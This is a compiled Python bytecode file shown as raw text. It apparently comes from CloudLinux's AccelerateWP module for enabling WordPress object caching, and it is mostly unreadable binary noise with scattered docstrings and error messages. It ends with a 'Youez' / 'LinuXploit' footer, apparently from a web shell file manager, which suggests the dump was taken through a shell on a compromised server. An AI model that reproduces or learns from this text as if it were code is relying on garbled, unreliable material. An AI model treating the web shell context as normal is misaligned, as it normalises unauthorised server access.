        )r1r��purge_redis)ryr\s  rKr�zCloudlinuxWposUser.redis_purge�s!���D�2�3�3�?�?�A�A�Argc	�����jj�d���t�jj��\}}t�jj�jjg��}tj	�
|���}�jjj}t|��}�jj���}�jjr|�|��|�|��t&jkrt+d���|���}t/��fd�|D����}|r)t1d���jj�jjd�d�S|t3��jvr1t7�jt1d��d�jjid	���t/�fd
�|D����}	t/�fd�|D����}
|
s�|	rTdd
lm}t7�jt1d��t?|j |d���dd�jjid���n1t7�jt1d��d�jjid	�����!|�����"|����j#�$��tK��5��&|�||��}|r6t7�j||d�t1d���jj�d�d���|r#��'|�jj|�|���j#�$����(||d���r)tStUj+|��j,dd����j#�$��t[t]�jj���|�jj���\}
}ddd��n#1swxYwY|
sf��(||d���r(tStUj+|��j,d���d|vrt7�j|� ��t+d&i|���|D]#}|�/�jj�|���$�j#�$��|r%��'|�jj|�|d�!���j#�$��t/��fd"�|D����}tK��5��&|�||��}ddd��n#1swxYwYd#|i}|r|�$d$|i��|ta�j1���2��d%�S)'zc
        Enable object_cache for user with compliance with end-user spec.
        :return:
        r�z�License approve required to use this feature. Open AccelerateWP plugin in your control panel, enable feature and accept terms and conditions to proceed with installation.c�R��g|]#}���jj�|����$Sro�r3rvr��r�r�ryr�s  ��rKr�z.CloudlinuxWposUser._enable.<locals>.<listcomp>��F���!C�!C�!C�%,�"&�!1�!1�$�*�2C�W�g�!V�!V�!C�!C�!CrgzeThe %(feature)s optimization feature is already enabled on the domain %(domain)s. Nothing to be done.r�r�z<Optimization feature %(feature)s is hidden by administrator.r�r�c�P��g|]"}|t�jjj��v��#Sro)rrvr�r*rIs  �rKr�z.CloudlinuxWposUser._enable.<locals>.<listcomp>��/���!z�!z�!z�]d�'�-@����AW�-X�-X�"X�!z�!z�!zrgc�P��g|]"}|t�jjj��v��#Sro)rrvr�r*rIs  �rKr�z.CloudlinuxWposUser._enable.<locals>.<listcomp>�r�rgrr�PAYMENT_REQUIREDrSrJ)r�rJr�zEUsage of the optimization feature %(feature)s is prohibited by admin.r�)r!r�zeWebsite "%(domain)s/%(wp_path)s" has compatibility issues and optimization feature cannot be enabled.)r�r�)r�r�r�T)r�r�r�)r��forcer�)r�r�N)r�r�r�)r�)�rollbackc�R��g|]#}���jj�|����$Sror�r�s  ��rKr�z.CloudlinuxWposUser._enable.<locals>.<listcomp>5r�rgr!r�r�ro)3rvr�r�r:r�r�r��skip_dns_checkr}r~rr�r�r,r�r��approve_license_termsrrr-�NOT_APPROVEDr�included_optimization_featuresr�r�r>r1r8ru�
clwpos.daemonrr9rTr�r�rwr.r+rp�_website_checkr�r�pwd�getpwnamr*r$r%�
enable_moduler1r�rO)ryrGr�make_web_check�abs_wp_pathr
rl�included_featuresrl�is_feature_visible�is_feature_allowedrr��ok�enable_failed_infor��module_datar�s`                @rK�_enablezCloudlinuxWposUser._enable�s6�����*�$�*�*�3�/�/��)�$�*�*;�<�<���(� �$�*�":�D�J�<U�!V�W�W�W���g�l�l�8�W�5�5���:�?�*��
��
!�
!�� $�
� 2� G� G� I� I���:�+�	7��(�(��6�6�6�
�(�(��6�6�:N�:[�[�[��X�Y�Y�
Y�)�G�G�I�I���!C�!C�!C�!C�!C�0A�!C�!C�!C�D�D���	]� �"N� O� O�*.�*�*;��
�HZ�[�[�]�]�
]��2�4�4�D�D�D���
�� ^�_�_� )�4�:�+=�>���
�
�
�!�!z�!z�!z�!z�hy�!z�!z�!z�{�{�� �!z�!z�!z�!z�hy�!z�!z�!z�{�{��!�	�!�
�4�4�4�4�4�4���M�"#�$6�"7�"7�'9�'1�'Q�'3�;�;�(�(�)�(*�
%.�t�z�/A�#B���������M�"#�$k�"l�"l�$-�t�z�/A�#B������	
�8�8��8�N�N�N��.�.�|�.�D�D�D���$�$�&�&�&�
�
�
�	�	��7�7��g�x�1B�D�D�F��
���M�,=�� P� P� �"V� W� W�+/�:�+<�� Q� Q�S�S�����
_��#�#�K���1B�B��Q]�^�^�^��!�(�(�*�*�*��2�2�2�|�dh�2�i�i�
j����h�!7�!7�!>�e�ch�i�i�i�i��!�(�(�*�*�*�&E��4�:�,�-�-��#�"�j�6�	&�&�&�"�B�"�5	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�@�	2��2�2�2�|�dh�2�i�i�
]����h�!7�!7�!>�V[�\�\�\�\��-�-�-��t�}�6H�I�I�I�I��1�1�0�1�1�1�(�	B�	B�G����T�Z�.���A�A�A�A���$�$�&�&�&��	j�����T�Z�->��G�\�dh��i�i�i���$�$�&�&�&��!C�!C�!C�!C�!C�0A�!C�!C�!C�D�D��
�
�
�	l�	l��7�7��g�x�Yj�k�k�F�	l�	l�	l�	l�	l�	l�	l�	l�	l�	l�	l����	l�	l�	l�	l�
�(�
���	�����&� �
�
�
�
#�'��(>�?�?�U�U�W�W�
�
�	
s%�D O4�4O8�;O8�T5�5T9�<T9c	�z�	t|||��dS#t$r�}|rI|�|||��td���t	|���|��t
|t��r�tditd��t|��d����Yd}~dSd}~wwxYw)a�
        Performs website availability checks and raises
        errors in case of problems

        :param abs_wp_path:
            absolute path to wordpress installation
        :param domain:
            domain that wordpress installation belongs to
        :param uc:
            user config instance
        :param wp_path:
            relative path to wordpress installation
        :param rollback:
            whether to roll redis and plugin changes back
        :return:
        r�r�Tz�Unexpected error occurred during plugin installation for WordPress. Try again and contact your system administrator if the issue persists.)r�r�r�)�is_jsonr�N)r2rr|rrr�r[r3r8r�rm)ryr�r�r
r�r�r�r�s        rKr�z!CloudlinuxWposUser._website_checkGs��$	��F�G�[�9�9�9�9�9���	�	�	��
5��!�!�&�'�6�:�:�:��5�9�9�9�9�����'�'��4�4�4��!�.�/�/�
����!��!i�j�j�"�1�v�v�	��
�
�
�
�
�
�
�
�
�
�����	���s��
B:�BB5�5B:c�(�tj��S)a
        Return current progress of the currently performed command.
        Provides amount of:
        - total stages - how many stages the command execution
          process is divided into,
        - completed stages - how many stages have been already completed.
        )r.�
get_statusrxs rK�get_progresszCloudlinuxWposUser.get_progressns���)�+�+�+rgc	�:�d}|jjrd}|jjre|���}|���D]:\}}|dD],}|�|||d|dd���-�;iS|jjr�|jj}	t|��\}}n2#t$r%}ttd��d|i�	���d}~wwxYw|�|||jj|jj��iStd
���)NFTrr~r�rz*Can't find docroot for domain '%(domain)s'r��r�r�r)
rvr�r�r/r-�_object_cache_banner_toggler�r:r�rr�r�r�)	ry�disable_object_cache_bannersr;rjr�r?r�rGr�s	         rK�_object_cache_bannerz'CloudlinuxWposUser._object_cache_bannerys��',�$��:��	0�+/�(��:�>�	9��+�+�-�-�I�*3�/�/�*;�*;�
E�
E�&���'��.�E�E�B��4�4�5Q�SZ�\^�_e�\f�hu�v�iA�BC�iD�E�E�E�E�E��I�
�Z�
�	9��Z�&�F�
�$0��$8�$8�!��'�'���
�
�
���J�K�K�%�v�.���������
����

�,�,�-I�7�TX�T^�Tf�hl�hr�hy�z�z�z��I�%�&7�8�8�8s�B.�.
C�8 C�C�disable_bannerr�c�N�|�||t��}|durd}n!t|�����}tj�||��}t||��}t|t��rt|j|j����dS)NFr�)
r3rrmrGr}r~rrAr[rBrr�r�)ryr�r�r�r��module_enabled�constant_value�ress        rKr�z.CloudlinuxWposUser._object_cache_banner_toggle�s����)�)�&�'�;O�P�P���U�"�"�!�N�N� ��0�0�6�6�8�8�N��g�l�l�;��8�8��3�K��P�P���c�>�*�*�	F��C�K���E�E�E�E�	F�	Frg)Fr�);rbrcrdrerurz�propertyrmr�r7r�r�r�r�r,r�boolr��staticmethodrr	r�r�r0rr�r�r��parser�argument�intrrr�rr/rDr5r6rHrdr/rpr3rRrrQr5r�r�r�rrr�r�r�r�r�r�r�rorgrKrqrq�sN��������%�h�/��@�@�@��Q�3�Q�Q�Q��X�Q��*�*��[�*�2"�"�"���� ���?D�6�6�*�6�w�6�HL�6�6�6�6�p�"��"�Y]�"�bg�"�"�"��\�"��#�������W��T��UY��mq�������41�1�1�f�:�"�:�48�:�CF�:�[_�:�:�:���:�x�_�_�Z��t�_�D�D��_�_�Z�5�$�_�?�?��_�_�[�5�$�_�?�?��_�_�[�D�_�1�1��_�_�&�%��|�_�\�\��_�_�]��u�d�_�K�K��^�^�������L�K�]�\�2�1�@�?�@�?�E�D��0�_�_�Z��,J�S_�_�`�`��_�_�[�$�-H�_�I�I��_�_�X�t�*N�_�O�O��^�^���9�9���P�O�J�I�a�`�9�>�k
�k
���k
�Z	
�	
�	
�
�
�
�����d�
������_�_�[�s�1B�T�_�R�R��^�^���Y
�Y
���S�R�Y
�v��c�����"d�&�d�8;�d�FI�d�^b�d�d�d�d�&w�#�w��w�S�w�T�w�w�w�w��_�_�)�0S�(�)�2T��V�V��^�^����������V�V��L�L�L�B�`�`���`�D�_�_�[�s�2Q�6�@T��V�V��_�_�Z�c�0i�"��$�$��^�^���/�/���$�$�V�V�/�$B�B�B���Q
�Q
�����Q
�f%�%�%�%�N�^�^���,�,���,�9�9�9�6
F�$�
F�S�
F�[^�
F�hk�
F�
F�
F�
F�
F�
Frgrq)nrerIr}r��dataclassesrr�	itertoolsr�typingrrrr	�clcommon.clpwdr
�clcommon.constrr��clcommon.cpapir�%clwpos.optimization_features.featuresr
�packaging.versionrr��clwposrrr��clwpos.cl_wpos_exceptionsrr�r�clwpos.data_collector_utilsr�clwpos.feature_suitesrr�$clwpos.feature_suites.configurationsrr�clwpos.logsetuprrr�clwpos.object_cache.redis_utilsr�clwpos.optimization_featuresrrrr r!r"r#r$r%r&�clwpos.papir'r(�clwpos.parser)r*�clwpos.scoped_cacher+�clwpos.user.configr,r-�clwpos.user.progress_checkr.r/r0�clwpos.user.redis_libr1�clwpos.user.website_checkr2r3�clwpos.utilsr4r5r6r7r8r9r:r;r<r=r>r?�clwpos.wp_utilsr@rArB�clwpos.daemon_redis_librCrbr��LSWS_INCOMPATIBLE_FEATURESr�rL�add_argument�RuntimeError�SUPPRESSr�rRrirqrorgrK�<module>r�s%��������	�	�	�	�
�
�
�
�)�)�)�)�)�)�)�)�������.�.�.�.�.�.�.�.�.�.�.�.�/�/�/�/�/�/�3�3�3�3�3�3�5�5�5�5�5�5�K�K�K�K�K�K�4�4�4�4�4�4�������������/�/�/�/�/�/�$�$�$�$�$�$���������������`�_�_�_�_�_�_�_�����������
��������������������������������O�N�N�N�N�N�N�N�8�8�8�8�8�8�8�8�.�.�.�.�.�.�?�?�?�?�?�?�?�?�����������
/�.�.�.�.�.�H�H�H�H�H�H�H�H�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�����������>�=�=�=�=�=�	��x�	 �	 ��2�K�@��	���4�#�
�
�
��P�P�P�����_�
����$��H��M�M�M�M�
����&�&�(�(��H�L]��^�^�^������S����*�����������SF�SF�SF�SF�SF�SF�SF�SF�SF�SFrg

Youez - 2016 - github.com/yon3zu
LinuXploit